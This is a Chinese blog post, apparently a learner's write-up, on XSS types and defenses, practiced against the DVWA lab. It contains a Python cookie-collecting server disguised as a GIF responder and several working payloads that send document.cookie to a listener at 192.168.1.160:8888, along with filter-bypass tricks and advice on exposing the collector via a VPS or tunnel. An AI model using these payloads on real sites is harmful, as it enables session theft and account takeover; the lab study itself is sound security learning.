欢迎光临
我们一直在努力

学习渗透测试——XSS(跨站脚本攻击)

学习XSS

首先先分清楚XSS的三种类型

反射型XSS,存储型XSS,DOM型XSS

(删删减减终于能过审核)

反射型XSS

恶意代码没有存进数据库。它只作为这次请求参数的一部分,被服务器反射到了HTML页面里。

特点:不持久,只对一次请求有效

例:

<script></script>js脚本标签

alert()用来弹窗内容

<script>alert('XSS')</script>

成功弹窗XSS

可以利用document.cookie获取cookie

document:DOM对象,代表当前整个网页文档

.cookie:document的属性,读取当前网站保存在浏览器里的cookie

<script>alert(document.cookie)</script>

反射型XSS建议防御方法:使用HTML实体编码、过滤危险标签

存储型XSS

恶意代码存进数据库。后续任何人访问该页面都会加载执行恶意代码。

特点:持久,访问该页面即触发

如图,以前留下的恶意代码在我进入页面时触发了。

存储型XSS建议防御方法:使用实体参数,过滤危险标签

DOM型XSS

恶意代码执行在前端。前端JS把恶意代码写入进DOM,由JS渲染执行

特点:纯前端漏洞,服务器依旧正常输出

正常选择English,网页请求里有个参数

将参数改成恶意代码,前端执行了

然后发现参数成为了下拉框选项之一

选择这个选项,发现上次的恶意代码被二次编码了

​ 

DOM型XSS建议防御方法:前端防御为主,不使用innnerHTML直接拼接可控数据,不要把可控外部数据当HTML代码解析,只当做纯文本处理

搭建XSS接收平台

在kali上写接收cookie的Python脚本

from http.server import SimpleHTTPRequestHandler, HTTPServer

#从http.server库导入“SimpleHTTPRequestHandler”处理请求,导入“HTTPServer”创建服务器

class MyHandler(SimpleHTTPRequestHandler):

    def do_GET(self):

        #打印收到的请求路径(包含了Cookie)

        print(f"[+] received request: {self.path}")

        #返回200,隐藏攻击行为

        self.send_response(200)

        #声明响应的类型是image/gif,也是为了隐藏攻击行为

        self.send_header('Content-type', 'image/gif')

        self.end_headers()

        #将返回内容伪装成图片,一个1*1像素的透明gif图

        self.wfile.write(b'GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff!\\xf9\\x04\\x01\\x00\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02D\\x01\\x00;')

#启动服务器

if __name__ == '__main__':

    #监听本机所有网卡,端口8888,serve_forever让服务器在我没CTRLC停止时一直运行

    HTTPServer(('0.0.0.0', 8888), MyHandler).serve_forever()

接下来测试是否有用

<script>new Image().src="http://192.168.1.160:8888/?c="+document.cookie;</script>

new Image():JS内置对象,创建一个图片对象(不需要把图片插入页面,设置好src浏览器就会自动发起HTTPGET请求拉去图片)

.src="http://…../?c=":httpURL地址是接收cookie的主机的地址(这里是我的局域网内kali虚拟机的IP地址),8888是监听端口;?c=,这里c是URL的查询参数,用来承载cookie

+:JS字符串拼接符号

document.cookie:读取当前网站的cookie

另一种写法:

加入限制了<script></script>

src=1:不合法的图片获取,加载图片会失败

onerror=:当图片加载失败是,自动执行引号里的JS代码

<img src=1 onerror="new Image().src='http://192.168.1.160:8888/?c='+document.cookie">

这里前端限制文本输入长度了

​ 

删除前端限制

找到限制参数maxlength="50",删除(不过还是用burp来改参数重放好点,删除限制这招每次刷新页面后都要删除一次)

​ 

写入恶意代码并发送

​ 

网页没有任何弹窗,静默获取cookie。

​ 

换浏览器新登录DVWA被重置难度impossible,搞得我以为我的XSS没用。定睛一看,我的代码被实体编码了。改一下难度。。

​ 

接下来每次访问这个网页,都会向我的接收cookie服务器发送一份cookie,换个浏览器访问如图又获得一份cookie

​ 

接下来尝试其他角度

试试升级难度并从“Name”的位置进行代码注入

​ 

抓包修改参数

<img>标签绕过<script>限制

+号,绕过空格限制

<img+src=1+onerror=alert(document.cookie)+

​ 

再次访问页面成功触发XSS,得到cookie弹窗

​ 

尝试让cookie静默发送到我的cookie接收器

<img+src=1+error="new+Image()='http://192.168.1.160:8888/?c='+document.cookie"+

​ 

写进去了

​ 

但是我的接收器空空如也。。。前面弹窗明明好好的啊,为什么突然不行

是new Image的问题?

​ 

清空记录重新搞payload

这次用个新伙伴

fetch()函数:浏览器原生的网络请求API,用来发起网络请求(默认GET)

<img src=1 onerror='fetch(`http://192.168.1.160:8888/?c=+document.cookie`)'>

​ 

访问页面

​ 

接收器接收到了。。。啥玩意?

​ 

噢噢,了解了发现不能这样写

document.cookie要用${…}来把值替换进URL字符串。

<img src=1 onerror='fetch(`http://192.168.1.160:8888/?c=${document.cookie}`)'>

​ 

访问页面

​ 

成功触发XSS并且获取到cookie

​ 

老规矩,换个浏览器试试。

成功!

​ 

把难度换成高难度“high”,也成功!

​ 

难度换成impossible就不行了。。

搞个延时版payload

<img src=1 onerror="setTimeout(()=>{fetch(`http://192.168.1.160:8888/?c=${document.cookie}`)}, 1000)">

#1000 ,延时1000ms,即1秒

搭建本地XSS平台(用于靶场个人学习)

BlueLotus_XSSReceiver

XSS-Platform

XSSTRace

搭建在线XSS平台

真实SRC挖洞不能用第三方XSS平台。。。咋办

VPS上搭建私有平台

可以在VPS上搭建私有平台,即租在公网的云服务器来获取挖洞的XSS的信息。

轻量级服务器即可。

内网穿透

使用内网穿透工具。原理:在本地kali和公网服务器之间打一条隧道,把公网请求转发到本地

Ngrok
Cloudflare Tunnel

赞(0)
未经允许不得转载:171主机测评 » 学习渗透测试——XSS(跨站脚本攻击)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址